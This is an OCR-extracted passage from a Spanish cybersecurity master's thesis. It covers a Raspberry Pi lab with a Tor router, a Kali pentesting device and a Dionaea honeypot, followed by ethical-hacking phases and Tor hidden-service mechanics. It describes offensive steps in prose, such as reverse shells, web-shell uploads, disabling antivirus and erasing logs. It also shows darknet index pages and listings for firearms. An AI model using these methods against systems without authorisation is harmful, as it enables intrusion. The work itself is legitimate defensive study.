Honeyd (Datasoft): Aiio 2015-2016, aunque tiene una web en la que aparece
una version de hace cuatro afios. Esta herramienta simula host virtuales lo que la
convierte en candidata ideal para emular una empresa completa con su pool de IPs,

etc. Se descartd por no ser el objetivo de este trabajo.

Honeyview: Esta herramienta sirve para mostrar de forma grafica los

resultados obtenidos de Honeyd. También se descarté porque no utilizamos Honeyd.

DShield (Guy Bruneau y SANS ISC): Honeypot de la empresa SAN. Se
descartd porque envia los resultados a una web externa. Se anot6é para futuros

proyectos.

TPOT (Telekom-security): Proyecto que incluye diversos Honeypots junto con
herramientas NSM. Se probé en nuestra Raspberry Pi y funciond, pero se descarté
por la cantidad de herramientas que no ibamos a utilizar. Se decidi6 emplear

herramientas similares a las que usa, pero solo las necesarias.

Kippo (Tamminen y Desaster): Honeypot orientado a recibir ataques de
fuerza bruta del cliente SSH. Es capaz de realizar interaccion con los ataques. Se
descarté al ser de alta interaccion, ya que nosotros buscamos una de baja
interaccion simplemente para registrar los accesos, no ataques de fuerza bruta de

usuarios, ni interaccién con la consola SSH.

Honeytrap (Honeytrap): Al igual que el anterior, sirve como Honeypot de

servicio SSH.

Honeypy (Px Mx y Foospidy): Honeypot instalable en Python que utiliza

Dockers para emular los servicios.

Cowrie: Emula servicios de SSH y Telnet. No nos funcioné en Raspberry asi

que lo descartamos.
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Glastopf (MushMush): Simulador de servicios Web, se podria usar para el
tema de revision de cookies, etc y para obtener mas informacion del atacante y de

los métodos utilizados. Tampoco nos funcion6 en Raspberry.

Conpot (MushMush): Interesante emulador de servicios industriales. No

aplicaba a este trabajo, pero no se descarta para futuros proyectos.

Sweetsecurity (Smith y TravisFSmith): Mas que un Honeypot se podria decir
que es un NSM con Bro, ElasticSearch, Kibana, etc. Se podria utilizar para recoger

datos y ataques, pero nos dio errores en algunas partes de la instalacion.

Dionaea (DinoTools): Potente Honeypot capaz de emular bastantes servicios.
Al final nos decantamos por este al ser un Honeypot de baja interaccion y como ya
se comentd, es lo que nos interesa en combinacion con NTopng para registrar el

trafico.

NTopng (NTop Company): Para ver el flujo de las conexiones entrantes y
salientes hay diversas herramientas. Se optd por NTopng al ser compatible con
Debian y Dionaea y permitir ver en tiempo real las conexiones realizadas al

dispositivo Honeypot.

Wireshark (Wireshark Foundation): Es una herramienta muy versatil de
analisis de trafico de red. La usaremos para poder investigar el trafico a mas bajo
nivel. Permite ver el trafico generado en cada trama y su contenido a nivel de
detalle. Solo se usara en casos puntuales para confirmar evidencias y para
almacenar el trafico. Al almacenar el trafico en un fichero pcap, lo podremos

diseccionar mas adelante desde cualquier otro dispositivo. Ver lineas futuras.

Con la herramienta “Dionaea” podremos recoger los test de intrusion
realizados por la Raspberry Kali, ya que nos simulara una serie de servicios. Con la
herramienta “NTopng” podremos ver las IPs de origen para comprobar que todo el
trafico llega enmascarado por la red Tor. Con la herramienta “Wireshark” podremos

analizar las evidencias mas a fondo y guardar el trafico capturado.
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3. Montaje del entorno de pruebas

Para el montaje del entorno de pruebas, se van a dividir las tareas de modo
independiente, de tal manera que se pueda reproducir alguno de los productos
resultantes de este trabajo de forma independiente. En los siguientes puntos,
veremos el montaje de las imagenes de los sistemas operativos de los distintos

dispositivos, su configuracion y las pruebas realizadas.

3.1 Instalacion de imagenes.

Para cada dispositivo hay que descargar una imagen en concreto. Raspbian
viene afiadida en la herramienta Imager para crearla y pasarla a la tarjeta micro SD,
sin embargo, otras como Kali Linux (Kali org), hay que descargarla del propio
proveedor. Vamos a comentar la instalacion de las imagenes, para ver el proceso en
mas detalle lo reflejaremos en los Anexos. La aplicacién para instalar las imagenes

en Raspberry Pi es Raspberry Pi Imager.

& Raspberry Pilmagervi6 - *

Raspberry Pi

Operating System Storage

CHOOSE 0S8 CHOOSE STORAGE

Figura 10: Raspberry Pi Imager v1.6.

3.1.1 Instalacién de imagenes.

Para instalar la imagen, tenemos que descargar la ultima versién del

software de la pagina Web del proveedor y utilizar la herramienta “Pi Imager’ para
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grabarla en la SD o usar la herramienta “Pi Imager’ y seleccionar el sistema
operativo Raspbian que viene incluido. Como podemos ver en la siguiente figura,

tenemos bastantes opciones de descarga a parte de Raspbian.

& Raspberry Pilmagerv16 — x

Operating System X

Raspberry Pi 0S (32-bit)

Raspberry Pi 05 (other) >
Other Raspberry Pi 05 based images

E Other general purpose 0S5 >

— Other general purpose Operating Systems
Media player - Kedi 0S >
Kodi based Media player operating systems
Emulation and game 0S

+ . Ernudatare far mimnina ratrrceamnudina nlatfarme >

Figura 11: Menu aplicacion Imager

Si queremos instalar otra imagen que no aparezca en la aplicaciéon, vamos a

la ultima opcién “Use Custom” y seleccionamos el archivo .img que corresponda.

La imagen Raspbian, la instalaremos sin entorno grafico en nuestra

Raspberry Pi 4 de 2GB. El proceso lo podemos ver en el anexo B.

Este mismo proceso lo realizamos en las otras dos Raspberry. En la
Raspberry Pi 4 de 8Gb instalaremos el Honeypot. Para ello, tenemos varias
opciones, seleccionar una imagen de Honeypot ya preconfigurada de Internet y
pasarla a nuestra tarjeta SD o podemos instalar una distribucién de Raspbian e

instalar el Honeypot y herramientas de monitorizacion (elegimos esta ultima).

Para la parte de Pentesting, nos descargaremos una imagen Kali Linux de la
Web oficial de Offensive Security que dispone de imagenes para chips ARM

especificamente compiladas para Raspberry Pi modelos 2, 3 y 4.

El proceso es el ya comentado excepto porque hay que elegir la opcién “Use

Custom” y seleccionar la imagen que corresponda. Para mas detalles, ver Anexo B.
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3.1.2 Configuracion de imagenes.

La configuracién de las imagenes consiste en unos primeros pasos iguales
para todas las Raspberry y otros especificos para cada una en concreto. Los pasos
comunes al Honeypot y Pentesting son los que podemos ver al final del anexo B.
Instala y configura XRDP para acceder de forma remota e instala el software de
grabacion de pantalla simplescreenrecorder para poder documentar graficamente
todas las actuaciones. En el dispositivo Router, los pasos son diferentes al carecer

de entorno grafico para optimizar recursos.

Los pasos especificos se dividen por dispositivos. En el Router, tenemos que
realizar cuatro pasos importantes: configurar nuestro punto de acceso, configurar
nuestro servicio Tor, configurar nuestro modem 3G y por ultimo configurar el
enrutamiento en funcion de si salimos por 3G o por Ethernet (ver Anexo B). En el
dispositivo, que hara de Honeypot, tendremos dos pasos, uno sera instalar Dionaea,
NTopng y Wireshark y el otro que sera configurar nuestro router doméstico para
poner la IP de la Raspberry en la DMZ y realizar port forwarding de los servicios
publicados (ver Anexo D). Por ultimo, en el dispositivo pentester, solo tendremos que
instalar la imagen Kali, actualizarla e instalar todas las herramientas necesarias.

Toda la bateria de pruebas contra nuestro Honeypot y nuestra navegacion a la red

Tor sera con dicha imagen (Ver Laboratorios).

Dispositivo punto de acceso + Tor + Médem 3G/Eth:

b

Rasphberry Pi
Kali '

Ethernet

RASFBERRY PI

o

Dizspositivos

Figura 12: Esquema basico de red Router Raspator
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En el dispositivo router utilizamos la antena wifi como Hotspot (punto de
acceso wifi) para que los clientes se conecten a nuestra Raspberry Pi y se les
asigne una IP por DHCP. Nuestro router utilizara la salida a Internet en funcién de lo

que encuentre conectado, nuestro modem 3G o nuestra red Ethernet. Para mas

detalles de la instalacion, ver anexos C, D y E.

Dispositivo Honeypot + Ntopng.

Raspberry Fi

A& Honey Pot

il

T DMIvPotT
— “':., Forwarding
21
Router domeéstico %é
53
E3
123
135
443
445
631
1433
3306

Figura 13: Esquema basico de red Honeypot

En el dispositivo Honeypot redireccionamos todo el trafico de Internet de los
puertos que emula con el servicio Honeypot de Dionaea para que le lleguen directos
a la Raspberry Pi. Con el software NTopng monitorizamos las peticiones y su

procedencia. Para ver mas detalles de su instalacion, ver Anexo D.
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Dispositivo Pentesting con Kali:

¥ .
Bateria prushas: []
1.- Mavegacion andnima

2.- Mavegacion Darkieb paainas .onion. Rasphlemr Pi

3.- Pentesting Fase 1 Reconocimiento

4 - Pentesting Fase 2 Escaneo
@ 5.- Opcional. &cceso, ete.

Raspherry Pi
kali

Router

Faspberry Pi
Honeypot + Mtopng

Figura 14: Esquema basico de red Pentester

Desde el dispositivo pentester o kali realizamos todos los laboratorios
necesarios (ver Anexo 3). Los dos primeros laboratorios, son para dar a conocer la
navegacion anonima conseguida con el dispositivo Router (Out-proxy e In-proxy) y
las demas son para analizar el anonimato de lanzar dos de las fases de un test de
penetracién contra el otro dispositivo Honeypot. Para este trabajo, en la parte de
hacking ético, las interesantes son las tres primeras fases, Reconocimiento,
Escaneo y Acceso. Reconocimiento no lo vamos a realizar porque ya conocemos la
IP contra la que lanzar los escaneos y ataques. Opcionalmente podemos usar otras
fases como mantener acceso, borrar huellas, etc, aunque no es el objetivo de este
trabajo, esto es debido a que el Honeypot esta actualizado y sin vulnerabilidades,

pero se refleja como trabajo de investigacion en lineas futuras. Ver lineas futuras.

3.2 Monitorizacion.

Los sistemas Honeypot y monitorizacion mediante NSM o SIEM, son
herramientas que se utilizan en empresas e industria para aumentar su capacidad
de proteger de ataques normales y ataques persistentes, detectar anomalias en la
red, etc. También, sirven para alertar de dichos ataques persistentes y ser capaz de
eliminarlos de forma segura, anticiparse a futuros ataques, desviar la atencion de los
atacantes y todo ello de la manera mas optimizada y econdmica posible. Este tipo

de herramientas es administrado por lo que se conoce como “Blue Team”, y son un
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grupo de personas con distintas habilidades y roles capaces de instalar, configurar,

monitorizar y gestionar las herramientas nombradas.

En lo concerniente al Honeypot, este se utiliza sobre todo para anticiparse a
futuros ataques y para desviar la atencion de los atacantes. Se intenta que los
atacantes se centren en los equipos configurados para ello en vez de la
infraestructura real. Dionaea es un Honeypot de baja interaccion lo que implica que,
a menos que se modifique, seria detectado muy rapidamente. Para la parte de
monitorizacion, existen herramientas gratuitas muy potentes capaces de detectar
ataques de red, escaneos o incluso disponen de inteligencia artificial para
correlacionar eventos de varios sistemas (SIEM) y detectar y avisar al “Blue Team”.
Aunque dichas herramientas cada vez son son mas sofisticadas, siempre es
necesaria la labor humana para su puesta en marcha, configuracion, mantenimiento
e interpretacion. En el caso de NTopng, es una herramienta de monitorizacién capaz
de detectar y alertar de ciertos ataques de red, pero en un entorno de produccién se
suelen usar otras mas completas. Sin embargo, para este trabajo, tanto Dionaea

como NTopng fueron las acordes para los dispositivos Raspberry.
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Figura 15: Esquema herramientas “Blue Team”
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Para el laboratorio de pruebas de escaneo y acceso, se ha utilizado el tipo de

Pentesting de caja negra. Cuando nos referimos a hacking ético, hay varios tipos de

auditorias que se dividen en tres categorias segun los conocimientos que se tengan

sobre la infraestructura o las acciones que el mismo cliente contrate.

Auditoria de caja blanca: El auditor o pentester conoce gran parte o toda la

infraestructura de red y sistemas del cliente y en algunos casos tiene acceso a las

aplicaciones y su codigo fuente. También, suele estar directamente conectado a la



parte de red interna como un usuario mas para poder hacer la auditoria mas en

profundidad.

Auditoria de caja negra: El auditor solo conoce los datos que le de el cliente
y normalmente son reducidos (simulando asi lo que seria un ataque real). Suele ser
el nombre de la empresa y puede que el del dominio. A partir de ahi, el trabajo del
pentester es recoger toda la informacion posible y continuar con las fases del

hacking ético comentadas en los siguientes parrafos.

Auditoria de caja gris: Esta auditoria es un punto intermedio entre las dos
anteriores. El auditor conoce parte de la infraestructura de red o sistemas y algunos

servicios, pero el resto tendra que averiguarlo realizando las siguientes fases.

Vamos a enumerar las fases de la metodologia aprendida durante el Master
universitario en Ciberseguridad y la del CEH, esta metodologia divide el hacking

ético en las siguientes fases:
e Fase 1 — Reconocimiento (Reconnaissance):

En esta fase de reconocimiento, se investiga al cliente (victima) para ver qué
tipo de informacion valiosa podemos obtener: usuarios, dominios, cuentas de correo

e IPs. En resumen, obtener el maximo de informacion posible.
e Fase 2 — Escaneo (Scanning):

En esta fase, al disponer de distintos objetivos (IPs, Dominios, cuentas de
correo, usuarios) se procede a realizar el escaneo. Se puede realizar un escaneo de
IPs y de puertos con Nmap, se puede buscar informacion de los dominios y
subdominios en Internet, paginas de archivo de antiguas versiones de sus paginas
web, etc. También es posible enviar correos de ingenieria social a cuentas de correo
para ver la predisposicion de los usuarios a ser engafiados con correos

manipulados.
e Fase 3 — Obtener Acceso (Gaining Access):

En la fase de escaneo ya hemos obtenido informacion suficiente para saber
que es vulnerable a uno o varios ataques, sino, habria que volver a la fase 1y 2
hasta encontrarla. Como ya tenemos una o varias vulnerabilidades explotables,
podemos probar dichas vulnerabilidades en un entorno de laboratorio para no dar la

voz de alarma; si vemos que son explotables y no daninas (no producen pérdida de
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servicio); las lanzamos al cliente. Si obtenemos acceso o accesos, pasamos a la

siguiente fase.
e Fase 4 — Mantener Acceso (Maintaining Access):

Entrar dentro de los sistemas no es el fin. En esta fase posiblemente haya
que repetir las fases 1, 2 y 3 en busca de nuevos objetivos, pero antes, es necesario
mantener el acceso para no perderlo. Para ello, debemos crear sesiones de
Meterpreter o Shells reversibles, de tal manera que si se reinicia el dispositivo no
perdamos la conexidon y siempre esté disponible para nosotros (nosotros somos los
auditores contratados, ya que si no fuera el caso, ya habriamos quebrantado varias
leyes y seriamos juzgados por lo penal -carcel-). Una vez hecha la parte de
mantener el acceso, tenemos que hacer lo que se conoce como “desplazamientos
laterales” o “pivoting”, para ello, volvemos a las Fases 1, 2 y 3, pero esta vez dentro
de la infraestructura de red del cliente, lo cual sera mas sencillo y nos dara mas
informacion, pero debemos tener cuidado de no hacer saltar las alarmas ni dejar los

sistemas inestables.
e Fase 5 — Limpiar Huellas (Clearing Tracks):

Esta fase se realizaria si el Pentesting no es de tipo “Hacking ético”, sino un
Pentesting no autorizado. Al no estar autorizado para realizarlo, el atacante no
quiere que se sepa que estuvo alli y borra ficheros logs alla donde estuvo y por
donde paso: sistemas operativos, firewalls o routers. En un hacking ético, esta fase
seria sustituida por la de entrega de informe de vulnerabilidades. Son dos, uno
técnico de las vulnerabilidades y de como solventarlas y otro menos técnico para los

CEOs de la empresa.

El esquema seguido para el escaneo de puertos y busqueda de

vulnerabilidades seria el siguiente:

Como ya conocemos la IP (fase de reconocimiento), pasamos a la fase de
escaneo y enumeracioén para ver los servicios disponibles e intentar averiguar la
maxima informacion de los mismos. Por ejemplo: dispone del puerto 443 abierto, en
ese caso, lanzamos un script de Nmap para averiguar mas informacion sobre dicho
puerto; dispone del puerto 80 y el servicio esta proporcionado por Apache, IIS, etc,
realizamos una busqueda de la vulnerabilidad de XSS, o de si se puede aplicar SQL

Injection, etc.
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Cuando tenemos la maxima cantidad de informacién posible, podemos pasar
a la fase de acceso o ataque. Para ello, si hemos detectado que es factible aplicar
Cross Site Scripting (XSS), preparamos un exploit para intentar obtener una Shell
(Consola o terminal a la maquina victima). Si por el contrario vemos que utiliza una
version de Apache antigua que dispone de un exploit capaz de generar una Shell,
intentaremos subir un fichero de tipo “phpshell” al propio servidor Apache, o
aprovecharemos cualquier otra vulnerabilidad. Cada servicio encontrado es un punto

de ataque, pero solo se aprovecharan los que veamos que son factibles.

Si se llega a tener éxito con cualquier de los probados, el siguiente paso es
mantener acceso. Es importante mantener acceso debido a que muchas de estas
vulnerabilidades vuelven el sistema inestable y este puede perder conexion,
reiniciarse o que lo reinicie algun administrador. Mantener acceso es la siguiente
fase y consiste en migrar el proceso a otro mas estable que se esté ejecutando en la
maquina, instalar el acceso como servicio de tal manera que se ejecute al arrancar,
intentar deshabilitar las herramientas de seguridad que se encuentren en dicha
maquina, antivirus, firewall, antispyware, UAC, etc, crear reglas en el router o

instalar puertas traseras.

La ultima fase “limpiar huellas”, se suele usar con ataques persistentes o para
ataques que no se quieran descubrir por la victima en un corto espacio de tiempo.
Se ha descubierto que los hackers que realizan espionaje industrial o cualquier otro
tipo de hacking no ético prefieren los ataques persistentes, esto se debe a que dan
mas beneficios, tanto econdmicos como dafinos. Esta fase de limpiar huellas no se
suele hacer cuando se contrata una empresa de seguridad para hacer una auditoria
de pentesting o hacking ético, en vez de ello lo que se entrega son dos informes.
Uno con las vulnerabilidades encontradas, las explotadas, como remediarlas, como
se tuvo acceso y desde donde. Este informe es mas técnico y sobretodo orientado a
los administradores de red de la empresa. Por otra parte, se entrega otro informe
mas formal y menos técnico, orientado a los directores o responsables de la
compania. Los dos son igual de importantes y complementarios. Con el primero se
consigue solucionar el problema y con el segundo se consiguen los recursos y la

concienciacion necesaria por parte de la empresa.

Como ya comentamos, para este trabajo, solo realizamos la metodologia del

escaneo y enumeracion y acceso para generar la maxima cantidad posible de

38



paquetes de red en busca de algun indicio de nuestra IP original, no la enmascarada

por Tor.
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Figura 16: Esquema hacking ético
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4. Navegacion en TOR

4.1 Navegacion anénima con Tor.

Como ya hemos comentado en apartados anteriores, tenemos multitud de
opciones de navegar de forma anénima. En el caso de Tor, debemos descargar el
navegador Tor Browser para nuestro Windows, Linux, Mac o Android. Una vez
descargado, lo abrimos y ya estara listo para navegar de forma casi anénima. Si no
se usan herramientas como TorghostNG o las comentadas, ciertos servicios tienen
que ir a través de nuestra salida a Internet sin cifrar y sin pasar por Tor. También,
hay cookies necesarias para que funcionen ciertas paginas y otros parametros que
no podremos anonimizar. Si usamos nuestro router, no sera necesario Tor Browser,
simplemente nos conectaremos al Hotspot y ya podremos navegar de forma

anonima.

Nota importante: Un reciente estudio indica que mas del 25% de los nodos de
salida Tor espiaron a los usuarios (J. Menéndez y Una al Dia. Hispasec). Esto
significa que hay que tener mucho cuidado con la informacién que se envia a través

de esta red y hay que intentar que siempre vaya cifrada.
4.2 Navegacion Out-proxy.

Resumamos el proceso de conexién Tor “Out-proxy” para navegar de forma
anénima por la Surface Web. Lo que mostramos es lo que ocurre cuando

ejecutamos el servicio de Tor o abrimos el navegador Tor Browser.
Todo el proceso es transparente al usuario:

Paso 1: Nos conectamos al nodo autoridad y descargamos la lista de nodos

disponibles por los que podemos pasar.
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Figura 17: Cémo trabaja Tor 1. (Tor Project)

Paso 2: A menos que se especifique en el archivo de configuracion torrc, se
eligen tres nodos al azar, uno de entrada, uno medio y otro de salida (para ser
entrada o salida hay que cumplir unos requisitos y no vale cualquiera, tienen que
estar declarados como tal por Tor Project). Nos descargamos las claves publicas de
los tres nodos y el mensaje en claro se cifra con el nodo de salida, el resultado se
cifra con el nodo medio y el resultado con el nodo de entrada, de esta manera, solo
el nodo de salida vera lo que hay dentro cuando se lo envie el nodo medio, el nodo
medio vera los datos cifrados y el nodo de entrada podra ver la cabecera del origen,

la IP real del emisor, pero no el contenido del mensaje, ya que también estara
cifrado.

How Tor works: 2 it Tornode

—= unencrypted link
— Encrypted link

Jane

| -
. -
lﬂ‘lﬁ

Figura 18: Cémo trabaja Tor 2. (Tor Project)

Dave
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Por defecto, pasados 10 minutos, ese proceso se vuelve a repetir eligiendo

diferentes nodos y creando otro nuevo circuito.

La siguiente figura muestra los pasos de cifrado por capas. Como el router de
entrada tiene su clave privada, podra retirar esa capa y pasarselo al nodo medio,
como el nodo medio tiene la clave privada de la siguiente capa podra quitarla y
pasarsela al siguiente nodo, por ultimo, el nodo de salida tiene su clave privada y

podra retirarla y enviar el mensaje sin cifrar a la IP destino.

Clave de Router A

Clave de Router B
Clave de Router C

Mensaje

Router C
IOrigen Destinal

Figura 19: Cifrado de la red Tor. (Tor Project)

Digital Mixing

message

Figura 20: Cifrado de la red Tor. (Tor Project)
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Figura 21: Cémo trabaja Tor 3. (Tor Project)

Antes de continuar, debemos comentar que este protocolo se puede modificar
mediante el fichero de configuracion torrc en el que podemos afadir/retirar
configuracion, seleccionar los nodos bridge, de entrada, medio o salida. También el
pais de ubicacidén, compartir y publicar puertos y multiples opciones mas. También,
el propio Tor incluye algunos comandos de resolucion DNS, ver el estado de la red,
etc. Para ver el tipo de cifrado, ir al Anexo E: Cifrado conexion OP contra OR. Para

ver opciones de configuracion, ir al Anexo F: Archivo de configuracion Torrc.

4.3 Navegacion In-proxy de Tor.

El funcionamiento de la red Tor In-proxy es diferente a Out-proxy. Los
dominios .onion no se resuelven con los DNS de Internet, sino que lo hacen de una
manera diferente. En la red Tor, para poder navegar In-proxy, es necesario que haya
publicados servicios Web. Dichos servicios se publican mediante lo que se conoce

como Hidden services.

Si se quiere publicar un servicio web como Hidden service, el paso inicial de
la instalacién en el servidor es igual a instalar un IIS o un Apache, lo que cambia es
cdmo se accede al servicio y la configuracién en la carpeta Tor. En el archivo torrc

hay que anadir las dos siguientes lineas, la primera es donde se almacenara la
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configuracion del servicio, la segunda es el puerto externo que se compartira y el

interno al que se redirigira.
HiddenServiceDir /Library/Tor/var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080

Dentro de la carpeta “hidden_service”, encontramos dos archivos de
configuracion, “private_key” en el que estara la clave privada y “hostname” en el que
se encontrara la direccion .onion de nuestro servicio web. La direccion .onion, se
genera a partir de pasar la funcién hash Sha1 a la clave publica generada a partir de
la clave privada, se toma la primera mitad y se codifica en Base32. De esta manera,
la direccién .onion ocupara 16 caracteres usando de la a-z y del 2-7. (Castillo) (Tor

Project Inc).

Hasta ahora, esta parte es la que describe cdmo compartir un hidden service
(una pagina web .onion, por ejemplo) en la red Tor. Pero ahora vamos a hablar del
funcionamiento y de cémo es capaz de comunicarse el cliente con el servidor sin

saber donde se encuentra cada uno.

Hemos hablado de los nodos “relé” que son de entrada o nodo guarda, el
nodo medio o nodo middle y el nodo de salida, imprescindibles para lograr el
anonimato en la navegacion a través de Tor. También existe otro nodo llamado nodo
Bridge el cual no muestra su IP en el listado publico de Tor y que se usa para poder
acceder a Tor desde paises que tengan restricciones o bloqueos a esos nodos. Al no
estar publicada la IP del nodo bridge es mas dificil bloquear dicho acceso. Existen
varias maneras de encontrar un nodo bridge: mediante lista de correo, con un

buscador o con una cuenta de Twitter.

Ahora debemos anadir cuatro tipos de nodo mas. Algunos de ellos pueden
estar siendo otro tipo de nodo para otros circuitos al mismo tiempo. Los nodos de
directorio (son 9 en total), el nodo que hara de punto de introduccioén, el nodo que
hara de base de datos de los hidden services (los servicios ocultos .onion) y los

nodos de encuentro o Rendezvous point.

Nodos de directorio: A partir de 2019, existen 9 nodos de directorio. Cada
nodo esta controlado por una organizacién diferente y cada hora deben llegar a un
consenso para establecer el listado de nodos “relé”. Los nodos de directorio

contienen la informaciéon de los nodos “relé” listados publicamente en la red Tor.
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Los nodos directorio son esenciales para todo el funcionamiento de la red,
especialmente para los servicios ocultos comentados anteriormente (hidden
services), también son los que deciden quienes son los nodos de entrada y de
salida. Junto con los nodos directorio se encuentran otros nodos conocidos como
nodos caché que ayudan en la labor de distribuir el listado de nodos, de esta

manera no se ven desbordados.

Nodo punto de introduccion: Estos nodos son elegidos al azar y
consultados primero por el servidor que tiene el hidden service para ver si estan
disponibles para realizar esa labor. En este tipo de nodos se almacena la
descripcion del servicio oculto junto con la clave publica y el listado de IPs de los
otros puntos de introduccion que lo albergan. Esa informacion se envia junto con la

direccion .onion al nodo base de datos.

Nodo base de datos: Estos nodos almacenan una base de datos de hashes
distribuida. De tal manera que cuando nos conectamos a Tor, el nodo directorio le
envia al cliente conectado la direccion de uno o varios de estos nodos para que
pueda consultar los servicios .onion y este nodo le pase el listado de los puntos de
introduccion, ya que como hemos comentado, el cliente no conocera la IP del

servidor y viceversa.

Nodo de encuentro: El nodo de encuentro es el encargado de establecer la
conexion entre el cliente y el servidor. Es un nodo neutral interpuesto entre los dos
nodos (el cliente y el servidor) de tal manera que no se conozcan. A parte de eso, el
nodo de encuentro tiene un circuito contra el cliente y otro circuito Tor contra el

servidor.

En el apartado anterior Navegacion Out-proxy, hemos visto a grandes rasgos

como se realiza la conexién a la red Tor. Ahora vamos a resumir como funciona la
conexion entre un dispositivo conectado a la red Tor y un servidor que disponga de

un hidden service.

El servidor realiza una peticion a varios puntos de introduccion
preguntandoles si quieren serlo, si estan de acuerdo, se les envia alguna
informacion para que puedan reconocerlo (clave publica, descripcion y lista de
puntos de introduccion donde se encuentra). Después se carga el hash de ese

dominio .onion junto con las IPs de los puntos de introduccion en el nodo que
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contenga la base de datos. En ese momento, ya esta publicado el hidden service de
ese servidor. Seria lo equivalente a publicar un registro DNS a nivel global de un

dominio.

El cliente ya esta en la red Tor, entra en Surface Internet, abre un buscador y
encuentra una web .onion a la que quiere acceder. Al abrir este dominio .onion, se
envia una peticion de dicho dominio a cualquier nodo que tenga la base de datos
distribuida de los hashes. Este nodo le devolvera una lista con varios puntos de
introduccion. El cliente accede a uno de ellos y le dice que quiere verse con ese
dominio .onion en un punto de encuentro elegido también al azar. El servidor recibe
la peticion y la acepta o la descarta. El cliente le dice al punto de encuentro que
envie al punto de introduccién una clave de un solo uso y su direccion IP para
organizar la cita. El punto de introduccion envia dicha peticion al servidor y este
decide si aceptarla o no. Si la acepta, a partir de ahora, el cliente y el servidor se
comunicaran mediante el punto de encuentro. En este apartado, vemos que el
cliente tiene un circuito Tor y el servidor otro, lo que garantiza la privacidad de

ambos. (Julian) (Fuentes Iglesias)

-
0O~ Base de datos
! -~

ae -~ de servicios ocultos

p — — - - _— —_
- — — S

A - Punto
de encuentro

Servidor
Xyz.onion

Punto
introduccion

2

Figura 22: Resumen navegacién In-proxy (Julian)

Mas adelante, hablaremos del tema legal, pero adelantamos que, aunque
usar Tor no es ilegal, si que lo es cierto comportamiento que hagamos del mismo,

con lo que hay que tener cuidado sobre el contenido al que accedemos. Se
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recomienda no entrar en paginas de sexo, drogas, armas o terrorismo. Sin saberlo,

puede ser que estemos incumpliendo alguna ley.

Para poder usar este tipo de navegacion, necesitamos una pagina de indices
.onion a la cual recurrir para encontrar lo que buscamos. La siguiente Web es una
pagina de la Surface Web donde podemos encontrar varios enlaces .onion. Como
podemos comprobar, los post mas recientes son del 2017. También detectamos que

hay algunas paginas obsoletas y otros enlaces no funcionan.

https:/fthehiddenwiki.org/

Hidden Wiki | Tor .onion urls directories

HIDDEN WIK| .ONION URLS TOR LINK DIRECTORY MORE DEEP WEB ARTICLES

[
2013 Hidden Wiki .onion Urls Tor Link Directory

09.21

To browse .onion Deep Web links, install Tor Browser from

Hidden Service lists and search e

Figura 23: Pagina de indices .onion.

Una vez encontrada una pagina de indices que nos sirva, podemos abrir el
contenido, por ejemplo, abrimos una web de indices muy conocida en la red Tor,
“The Hidden Wiki". También hay dos buscadores muy conocidos llamados “Not evil’

y “Torch”, los cuales permiten buscar por contenido.
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http://zqktlwi4fecvobri.onion/wiki/index.php/Main_Page
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Main Page

Welcome to The Hidden Wiki! our official Hidden Wiki v3 url in 2021 is:

Contents [hide]
http://zqktiwivavwvqqtdybvgvi7tyodhjlsxgfuvpdféotjiycgwgbym2qad.oniont? 1 Edit K
Add it to bookmarks and spread it!!!! i woll Orr‘ e
unteer
navigation . .
ra— Editor's picks 3 |I\Tr()(|l.lfflt'1rl Points
‘ AN EnRS 4 Financial Services
B zecclnt changes Pick a random page from the article index and replace one of these slots with it: 5 Commercial Services
= Random page
» Rules of the site 1. The Matrix - Veery nice to read. | 3 6 Domain Services
= 2. How to Exit the Matrix - Learn how to Protect yourself and your rights, online and off. 7 Anonymity & Security
searc 5
3. Verifying PGP signatures - A short and simple how-to guide. 8 Blogs / Essays | Wikis
4. In Praise Of Hawala - Anonymous informal value transfer system 9 Email / Messaging
= = 5. Terrific Strategies To Apply A Social media Marketing Approach - Great tips for the intemet marketer 10 Social Networks
11 Forums / Boards / Chans
tools Volunteer

12 Whistleblowing
13 H/PJAWNIC
14 Hosting, website developing

What links here
Related changes

Here are the six different things that you can help us out with:

Special pages 1. Plunder other hidden service lists for links and place them here!

2. File the SnapBBSindex links wherever they go
3. Set external links to HTTPS where available. good certificate, and same content.

Printable version 15 File Uploaders

Permanent link 16 Audio - Music / Streams

17 Video - Movies / TV

Paae information

Figura 24: indices paginas .onion red Tor

Algunas paginas web son fraudulentas o se usan para otros fines poco éticos

como la venta de objetos robados o venta de armas ilegales.

Please enter the amount you wish to purchase below and fill in the form. (BTC
value updates periodically via BTPAY)

Products About us

{more phota)
NEW! CZ P-07 DUTY oMM
Caliber: amm
Capacity: Two 15 round magazines included
Barrel: 4* Cold Hammer Forged
Weight: 1.7 pounds

(more pholo}
COLT MUSTANG POCKETLITE .380
Caliber: .380 ACP
| capacity: Two 6 round magazines included
Barrel: 2.75"
'Weight: 11.8 ounces unloaded

{more photo)
GLOCK 19 GEN 3
Caliber: smm
Capacity: Two 15 round magazines included
Barrel: 4" Cold Hammer Forged
Weight: 30.2 ounces loaded

Product

iPhone XS
original box with all cables etc, new and UNLOCKED

Select USA or EU depending on which region you are from.
k.

Iphone XS 256gb Space Grey USA | 369 USD = 001024 & x [E

Quantity

uyr

Figura 25: Venta de moéviles y armas en la red Tor
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Si nos conectamos con el mévil a nuestro Router, no necesitamos instalar Tor
Browser para poder navegar en la Dark Web. En las siguientes capturas de movil,
podemos ver como estamos conectados a la Red Tor, como accedemos a una

pagina de indices .onion y finalmente encontramos una Web de venta de servicios

hacking.
12:35 Feall 96% M 1337 @ = 1 79% @
@ ipinfo.io — © zgktlwidfecvobrionion 2= ()

Mo credit card required. v Search The Hidden Wiki a 2

W more -4
Look up information for any IP address .
Main Page
@ Search any IP Address or AS Number.., Q Wel
elcome to )
. Contents [hide]
The Hidden o

Wikil! our 1 Editor's picks
o — official Hidden 2 Volunteer
B city: sMadridr = | 1-net Wiki v3 url in 3 Introduction Points
ClLys ddrid
13:33 & =l 78%m

M region: "Madrid"

M country: "ES"

M loc: "48.4165,-3.7026"
m org: "AS8560 1&1 IONOS SE"
M postal: "2s081"

M timezone: "Europe/Madrid"
asn: Object

M asn: "asasea”

M@ name: "l&l IONDS SE"

O A 1iif45hrq;‘s',-—»_r :

fry:  Your P B.B8.4.4 A515169

privacy: Object
m vpn: true
m proxy: false
B tor: true
hasting: true
abuse: Object

M@ address: "arsys.es, Cf Chile 5

4, Logrono 26087 (La Rioja), SPAI Technical skills:
NP )
[@ country: "CL"
M email: "abuse@arsys.es"
M@ name: "ARS¥S Role Object" '_ anynnaEas e successful If |
M neatwnrles :

